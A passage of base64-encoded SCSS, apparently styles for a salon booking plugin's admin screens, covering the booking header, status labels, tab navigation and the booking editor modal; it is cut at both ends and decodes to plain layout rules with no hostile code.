BsYXRlOiAxZnIgLyAxZnI7XG5cdFx0XHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLXByb2ZlYXR1cmVfX2N0YS5zbG4tcHJvZmVhdHVyZS0tc2xuLWJvb2tpbmdfX2hlYWRlclxuXHRcdFx0XHRcdCsgLnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtbWVzc2FnZSB7XG5cdFx0XHRcdFx0cGFkZGluZzogMCAwLjVyZW0gMCAwLjc1cmVtO1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWxhYmVsLXNldCxcblx0XHRcdFx0LnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtY3VycmVudCxcblx0XHRcdFx0LnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtZG9uZSB7XG5cdFx0XHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdFx0dHJhbnNpdGlvbjogMjUwbXM7XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtc2V0IHtcblx0XHRcdFx0XHR3aWR0aDogZml0LWNvbnRlbnQ7XG5cdFx0XHRcdFx0bWFyZ2luOiAtMC40ZW0gMDtcblx0XHRcdFx0XHRwYWRkaW5nOiAwLjRlbSAxZW07XG5cdFx0XHRcdFx0bGluZS1oZWlnaHQ6IDEuOHJlbTtcblx0XHRcdFx0XHRib3JkZXItcmFkaXVzOiA0cHg7XG5cdFx0XHRcdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcblx0XHRcdFx0XHRAZXh0ZW5kIC5zbG4tYnRuLS1tYWluLS10b25hbDtcblx0XHRcdFx0XHQvL0BleHRlbmQgLnNsbi1idG4tLWljb247XG5cdFx0XHRcdFx0Ly9AZXh0ZW5kIC5zbG4taWNvbi0tc2V0dGluZ3M7XG5cdFx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKDApO1xuXHRcdFx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRcdFx0Ly8gJjo6YWZ0ZXIge1xuXHRcdFx0XHRcdC8vIFx0dG9wOiAwO1xuXHRcdFx0XHRcdC8vIFx0cmlnaHQ6IDAuNGVtO1xuXHRcdFx0XHRcdC8vIFx0Zm9udC1zaXplOiAxZW07XG5cdFx0XHRcdFx0Ly8gfVxuXHRcdFx0XHRcdCY6aG92ZXIsXG5cdFx0XHRcdFx0Jjpmb2N1cyB7XG5cdFx0XHRcdFx0XHR0ZXh0LWRlY29yYXRpb246IG5vbmU7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWxhYmVsLWN1cnJlbnQsXG5cdFx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWxhYmVsLWN1cnJlbnQ6aGFzKFxuXHRcdFx0XHRcdFx0fiAuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1kb25lOm5vdCguaGlkZSlcblx0XHRcdFx0XHQpIHtcblx0XHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMnJlbSk7XG5cdFx0XHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdFx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHRcdFx0fVxuXHRcdFx0XHQmLnNlbGVjdGVkX2lzX2RlZmF1bHRcblx0XHRcdFx0XHQuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1zZXQsXG5cdFx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWxhYmVsLXNldDpoYXMoXG5cdFx0XHRcdFx0XHR+IC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWxhYmVsLWRvbmU6bm90KC5oaWRlKVxuXHRcdFx0XHRcdCkge1xuXHRcdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMnJlbSk7XG5cdFx0XHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdFx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHRcdFx0fVxuXHRcdFx0XHQmLnNlbGVjdGVkX2lzX2RlZmF1bHRcblx0XHRcdFx0XHQuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1jdXJyZW50IHtcblx0XHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMCk7XG5cdFx0XHRcdFx0b3BhY2l0eTogMTtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1kb25lIHtcblx0XHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMCk7XG5cdFx0XHRcdFx0b3BhY2l0eTogMTtcblx0XHRcdFx0XHQmLmhpZGUge1xuXHRcdFx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKC0ycmVtKTtcblx0XHRcdFx0XHRcdG9wYWNpdHk6IDA7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWFsZXJ0LWxvYWRpbmcge1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHR0b3A6IDA7XG5cdFx0XHRcdFx0bGVmdDogMXJlbTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHQmLnNsbi1ib29raW5nX19oZWFkZXItLW11bHRpc2hvcCxcblx0XHQmLnNsbi1ib29raW5nX19oZWFkZXItLWNvbmZpcm1hdGlvbiB7XG5cdFx0XHRncmlkLXRlbXBsYXRlOiBhdXRvIC8gbWlubWF4KDE1JSwgYXV0bykgYXV0byBhdXRvO1xuXHRcdFx0Z3JpZC10ZW1wbGF0ZTogYXV0byAvIDFmciAxLjJmciAxLjJmcjtcblx0XHRcdC5zbG4tYm9va2luZ19faGVhZGVyX190aXRsZSB7XG5cdFx0XHRcdHdvcmQtd3JhcDogYnJlYWstd29yZDtcblx0XHRcdH1cblx0XHRcdC8vIH1cblx0XHRcdC8vICYuc2xuLWJvb2tpbmdfX2hlYWRlci0tbXVsdGlzaG9wIHtcblx0XHRcdGFsaWduLWl0ZW1zOiBlbmQ7XG5cdFx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fc3RhdHVzIHtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHQuc2xuLXNlbGVjdCB7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDEgLyBzcGFuIDI7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDI7XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tYmxvY2stbGFiZWxzLFxuXHRcdFx0XHQuc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1sYWJlbC1zZXQge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxIC8gc3BhbiAyO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHRcdHRleHQtYWxpZ246IGxlZnQ7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5zbG4tYm9va2luZ19faGVhZGVyX19tdWx0aXNob3Age1xuXHRcdFx0XHRncmlkLWNvbHVtbjogMztcblx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdC5zbG4tc2VsZWN0IGxhYmVsIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMSAvIHNwYW4gMjtcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0XHR0ZXh0LWFsaWduOiBsZWZ0O1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tc2VsZWN0IC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMSAvIHNwYW4gMjtcblx0XHRcdFx0XHRncmlkLXJvdzogMjtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHQmLnNsbi1ib29raW5nX19oZWFkZXItLWNvbmZpcm1hdGlvbiB7XG5cdFx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fc3RhdHVzIHtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDM7XG5cdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQmLnNsbi1ib29raW5nX19oZWFkZXItLW11bHRpc2hvcC5zbG4tYm9va2luZ19faGVhZGVyLS1jb25maXJtYXRpb24ge1xuXHRcdFx0Z3JpZC10ZW1wbGF0ZTogYXV0byAvIDFmciAxZnIgMS4zZnIgMS4zZnI7XG5cdFx0XHRnYXA6IDEuNXJlbTtcblx0XHRcdGFsaWduLWl0ZW1zOiBlbmQ7XG5cdFx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fdGl0bGUge1xuXHRcdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHR9XG5cdFx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fc3RhdHVzIHtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDM7XG5cdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0fVxuXHRcdFx0LnNsbi1ib29raW5nX19oZWFkZXJfX2NvbmZpcm1hdGlvbiB7XG5cdFx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0ZGlzcGxheTogZ3JpZDtcblx0XHRcdFx0Z3JpZC10ZW1wbGF0ZTogYXV0byAvIDQwcHggMWZyO1xuXHRcdFx0XHRoZWlnaHQ6IDEwMCU7XG5cdFx0XHRcdGgyIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMSAvIHNwYW4gMjtcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLWljb24tLWFwcHJvdmUge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4taWNvbi0tZGVueSB7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDI7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5zbG4tYm9va2luZ19faGVhZGVyX19tdWx0aXNob3Age1xuXHRcdFx0XHRncmlkLWNvbHVtbjogNDtcblx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC8vLy8gTkVXIE1BSU4gSEVBREVSIEJPWCAvLyBFTkQgLy8vL1xuXHQvLy8vIFRBQlMgTkFWIC8vLy9cblx0LnNsbi1hZG1pbl9fdGFic19fbmF2X193cmFwcGVyIHtcblx0XHRoZWlnaHQ6IDUuMWVtO1xuXHRcdC8vb3ZlcmZsb3cteTogaGlkZGVuO1xuXHRcdG1hcmdpbjogMmVtIDAgMS4zMTI1ZW0gMDtcblx0fVxuXHQuc2xuLWFkbWluX190YWJzX19uYXZfX2lubmVyIHtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdC8vb3ZlcmZsb3cteDogc2Nyb2xsO1xuXHR9XG5cdC5zbG4tYWRtaW5fX3RhYnNfX25hdiB7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRmbGV4OiAxIDAgYXV0bztcblx0XHRtYXJnaW46IDAgMCAwLjYyNXJlbSAwO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0dHJhbnNpdGlvbjogYWxsIDAuMjVzO1xuXHRcdCYuc2xuLWFkbWluX190YWJzX19uYXYtLWhpZGRlbiB7XG5cdFx0XHQuc2xuLWFkbWluX190YWJzX19uYXZfX2l0ZW0ge1xuXHRcdFx0XHRtYXgtaGVpZ2h0OiAwO1xuXHRcdFx0XHRvcGFjaXR5OiAwO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQuc2xuLWFkbWluX190YWJzX19uYXZfX2l0ZW0ge1xuXHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdGZsZXg6IDEgMCBhdXRvO1xuXHRcdFx0ZmxleC1iYXNpczogMDtcblx0XHRcdG1hcmdpbi1ib3R0b206IDFweDtcblx0XHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMC43KTtcblx0XHRcdHRyYW5zaXRpb246IGFsbCAyNTBtcyBlYXNlLW91dDtcblx0XHRcdC8vXG5cblx0XHRcdG1heC1oZWlnaHQ6IDEwMCU7XG5cdFx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRcdGNvbnRlbnQ6IFwiIFwiO1xuXHRcdFx0XHRoZWlnaHQ6IDNweDtcblx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRyaWdodDogMDtcblx0XHRcdFx0Ym90dG9tOiAtMnB4O1xuXHRcdFx0XHRsZWZ0OiAwO1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuXHRcdFx0fVxuXHRcdFx0YSB7XG5cdFx0XHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0XHRcdGdyaWQtdGVtcGxhdGU6IGF1dG8gLyAxZnI7XG5cdFx0XHRcdGZsZXg6IDE7XG5cdFx0XHRcdHRleHQtYWxpZ246IGNlbnRlcjtcblx0XHRcdFx0cGFkZGluZzogMC41ZW07XG5cdFx0XHRcdGZvbnQtc2l6ZTogMS4xMjVyZW07XG5cdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG5cdFx0XHRcdHRleHQtZGVjb3JhdGlvbjogbm9uZTtcblx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuXHRcdFx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0XHRcdHNwYW4ge1xuXHRcdFx0XHRcdHdpZHRoOiA5MCU7XG5cdFx0XHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdFx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdFx0XHRcdHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuXHRcdFx0XHRcdGp1c3RpZnktc2VsZjogY2VudGVyO1xuXHRcdFx0XHR9XG5cdFx0XHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSB7XG5cdFx0XHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdFx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0Ji5hY3RpdmUge1xuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHR9XG5cdFx0XHRcdGEge1xuXHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdH1cblx0Ly8vLyBUQUJTIE5BViAvLyBFTkQgLy8vL1xuXHQvLy8gVEFCUyBDT05URU5UIC8vLy9cblx0I3Nsbi1ib29raW5nX190YWJzY29udGVudCB7XG5cdFx0LnNsbi1ib3gudGFiLXBhbmUge1xuXHRcdFx0LnNsbi1ib3gtdGl0bGUtLW51LS1zZWMge1xuXHRcdFx0XHRkaXNwbGF5OiBub25lO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQvLy8gVEFCUyBDT05URU5UIC8vIEVORCAvLy8vXG59XG5cbi8vIC8vLyBCT09LSU5HIEVORFxuXG4vLy8vIE5FVyBCT09LSU5HIE1PREFMIC8vIDA5LjIwMjQgLy8vL1xuLmlzSW5JZnJhbWUge1xuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG59XG4vLy5zbG4tY2FsZW5kYXItLXdyYXBwZXItLXN1YiAjc2xuLWJvb2tpbmctZWRpdG9yLW1vZGFsIHtcbi5zbG4tY2FsZW5kYXItLXdyYXBwZXItLXN1YiB7XG5cdC5tb2RhbC1sZyB7XG5cdFx0Lm1vZGFsLWRpYWxvZyxcblx0XHQubW9kYWwtY29udGVudCB7XG5cdFx0XHQvKiA4MCUgb2Ygd2luZG93IGhlaWdodCAqL1xuXHRcdFx0aGVpZ2h0OiA4MHZoO1xuXHRcdH1cblx0XHQubW9kYWwtY29udGVudCB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2dyZXktLWxpZ2h0ZXI7XG5cdFx0XHRib3JkZXItcmFkaXVzOiAwO1xuXHRcdFx0Lm1vZGFsLWJvZHkge1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAwO1xuXHRcdFx0XHRwYWRkaW5nLWxlZnQ6IDA7XG5cdFx0XHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0XHRcdGhlaWdodDogY2FsYygxMDAlIC0gMTJ2aCk7XG5cdFx0XHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0XHRcdEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzY4cHgpIHtcblx0XHRcdFx0XHRoZWlnaHQ6IGNhbGMoMTAwJSAtIDEwdmgpO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQuc2xuLWJvb2tpbmctZWRpdG9yLS13cmFwcGVyLFxuXHRcdFx0LnNsbi1ib29raW5nLWVkaXRvci0td3JhcHBlci0tc3ViLFxuXHRcdFx0aWZyYW1lLmJvb2tpbmctZWRpdG9yIHtcblx0XHRcdFx0aGVpZ2h0OiAxMDAlO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQubW9kYWwtZm9vdGVyIHtcblx0XHRcdGhlaWdodDogMTJ2aDtcblx0XHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0XHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjtcblx0XHRcdGdyaWQtdGVtcGxhdGUtcm93czogNjAlIDQwJTtcblx0XHRcdGdyaWQtdGVtcGxhdGUtcm93czogMWZyIDFmcjtcblx0XHRcdGFsaWduLXNlbGY6IGNlbnRlcjtcblx0XHRcdHBhZGRpbmc6IDAgMzBweDtcblx0XHRcdGJvcmRlci10b3A6IG5vbmU7XG5cdFx0XHR0ZXh0LWFsaWduOiBsZWZ0O1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdFx0Lm1vZGFsLWZvb3Rlcl9fYWN0aW9ucyB7XG5cdFx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0XHRoZWlnaHQ6IDEwMCU7XG5cdFx0XHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0XHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0LnNsbi1idG4ge1xuXHRcdFx0XHRcdC8vbWFyZ2luLWxlZnQ6IDAuNnJlbTtcblx0XHRcdFx0XHRtaW4td2lkdGg6IDI0JTtcblx0XHRcdFx0XHQmOmZpcnN0LWNoaWxkIHtcblx0XHRcdFx0XHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0XHQmLm1vZGFsLWZvb3Rlcl9fYWN0aW9ucy0tbXVsdGkge1xuXHRcdFx0XHRcdC5zbG4tYnRuIHtcblx0XHRcdFx0XHRcdG1pbi13aWR0aDogMjUlO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQjc2VuZC10by1zcXVhcmUtcG9zLnNsbi1idG4tLWJpZyB7XG5cdFx0XHRcdFx0XHRmb250LXNpemU6IDEycHg7XG5cdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuXHRcdFx0XHRcdFx0ZmxleC13cmFwOiB3cmFwO1xuXHRcdFx0XHRcdFx0LnNsbi1idG4ge1xuXHRcdFx0XHRcdFx0XHRtaW4td2lkdGg6IDQ4JTtcblx0XHRcdFx0XHRcdFx0JjpudGgtY2hpbGQoMykge1xuXHRcdFx0XHRcdFx0XHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0XHQjc2VuZC10by1zcXVhcmUtcG9zLnNsbi1idG4tLWJpZyB7XG5cdFx0XHRcdFx0XHRcdGZvbnQtc2l6ZTogMTBweDtcblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5tb2RhbC1mb290ZXJfX2ZseWluZ2FjdGlvbnMge1xuXHRcdFx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0XHR0b3A6IGNhbGMoMTAwJSArIDNyZW0pO1xuXHRcdFx0XHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdFx0XHR9XG5cdFx0XHQuYm9va2luZy1sYXN0LWVkaXQtZGl2IHtcblx0XHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0fVxuXHRcdFx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3NjhweCkge1xuXHRcdFx0XHRoZWlnaHQ6IDEwdmg7XG5cdFx0XHR9XG5cdFx0XHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDk5MnB4KSB7XG5cdFx0XHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogNDAlIDYwJTtcblx0XHRcdFx0Z3JpZC10ZW1wbGF0ZS1yb3dzOiAxZnI7XG5cdFx0XHRcdHBhZGRpbmc6IDE1cHggMzBweDtcblx0XHRcdFx0Lm1vZGFsLWZvb3Rlcl9fYWN0aW9ucyB7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdFx0Z2FwOiAxcmVtO1xuXHRcdFx0XHRcdHBhZGRpbmctcmlnaHQ6IDNyZW07XG5cdFx0XHRcdFx0Ji5tb2RhbC1mb290ZXJfX2FjdGlvbnMtLW11bHRpIHtcblx0XHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxIC8gc3BhbiAyO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0XHQuYm9va2luZy1sYXN0LWVkaXQtZGl2IHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDk5MnB4KSB7XG5cdFx0Lm1vZGFsLWxnIHtcblx0XHRcdHdpZHRoOiA4MHZ3O1xuXHRcdH1cblx0fVxuXHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDE2MDBweCkge1xuXHRcdC5tb2RhbC1sZyB7XG5cdFx0XHR3aWR0aDogNjB2dztcblx0XHR9XG5cdFx0Lm1vZGFsLS1uZXcgLm1vZGFsLWxnIHtcblx0XHRcdHdpZHRoOiA4MHZ3O1xuXHRcdH1cblx0fVxufVxuLnRvcGxldmVsX3BhZ2Vfc2Fsb24gLnNsbi1jYWxlbmRhci0td3JhcHBlciAubW9kYWwtYmFja2Ryb3AuaW4ge1xuXHRvcGFjaXR5OiAwLjc1O1xufVxuLnNsbi1jYWxlbmRhci0td3JhcHBlci0tc3ViIC5tb2RhbC0tbmV3IHtcblx0Lm1vZGFsLWZvb3RlciAubW9kYWwtZm9vdGVyX19hY3Rpb25zIHtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGVuZDtcblx0XHQuc2xuLWR1cGxpY2F0ZS1ib29raW5nLFxuXHRcdC5zbG4tYnRuLS1iaWdbZGF0YS1hY3Rpb249XCJkZWxldGUtZWRpdGVkLWJvb2tpbmdcIl0ge1xuXHRcdFx0ZGlzcGxheTogbm9uZSAhaW1wb3J0YW50O1xuXHRcdH1cblx0fVxufVxuLy8vLyBNT0RBTCBDT05URU5UXG4uaW5tb2RhbCB7XG5cdC51c2VyYmFjay1idXR0b24tY29udGFpbmVyIHtcblx0XHRkaXNwbGF5OiBub25lICFpbXBvcnRhbnQ7XG5cdH1cbn1cbi8vLy8gTU9EQUwgQ09OVEVOVCAvLyBFTkRcbi5wb3N0LXR5cGUtc2xuX2Jvb2tpbmcge1xuXHQucG9zdGJveCB7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHR9XG5cdC5wb3N0Ym94LWhlYWRlciB7XG5cdFx0ZGlzcGxheTogbm9uZTtcblx0fVxuXHQuc2xuLWJveCB7XG5cdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0XHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdG1hcmdpbi1yaWdodDogMDtcblx0XHRmb250LXNpemU6IHR5cG8tYWRtaW4uJGZvbnQtc2l6ZS1iYXNlO1xuXHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNHB4LCAxNnB4KTtcblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG5cdFx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRcdH1cblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuXHRcdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcblx0XHR9XG5cdFx0Ji5zbG4tY2FsZW5kYXItdmlldyB7XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuXHRcdFx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQmLnNsbi1ib3gtLXBiIHtcblx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG5cdFx0fVxuXHRcdCYuc2xuLWJveC0tZmxhdGJvdHRvbSB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0XHRwIHtcblx0XHRcdEBleHRlbmQgJWZvbnQtbWVkaXVtO1xuXHRcdFx0QGV4dGVuZCAlZm9udC1jbF9zdGFuZGFyZC0tbWVkaXVtO1xuXHRcdFx0Zm9udC13ZWlnaHQ6IDQwMDtcblx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNnB4KTtcblx0XHRcdG1hcmdpbjogMDtcblx0XHR9XG5cdH1cblx0LnNsbi1ib3gtdGl0bGUtLW51LS1zZWMsXG5cdC5zbG4tYm94LXRpdGxlLS1udS0tdGVyIHtcblx0XHRtYXJnaW4tdG9wOiAwO1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbnVfbWFpbi0tbGlnaHQ7XG5cdFx0Ji5zbG4tYm94LXRpdGxlLS1udS0tZGFyayB7XG5cdFx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9udS0taGlna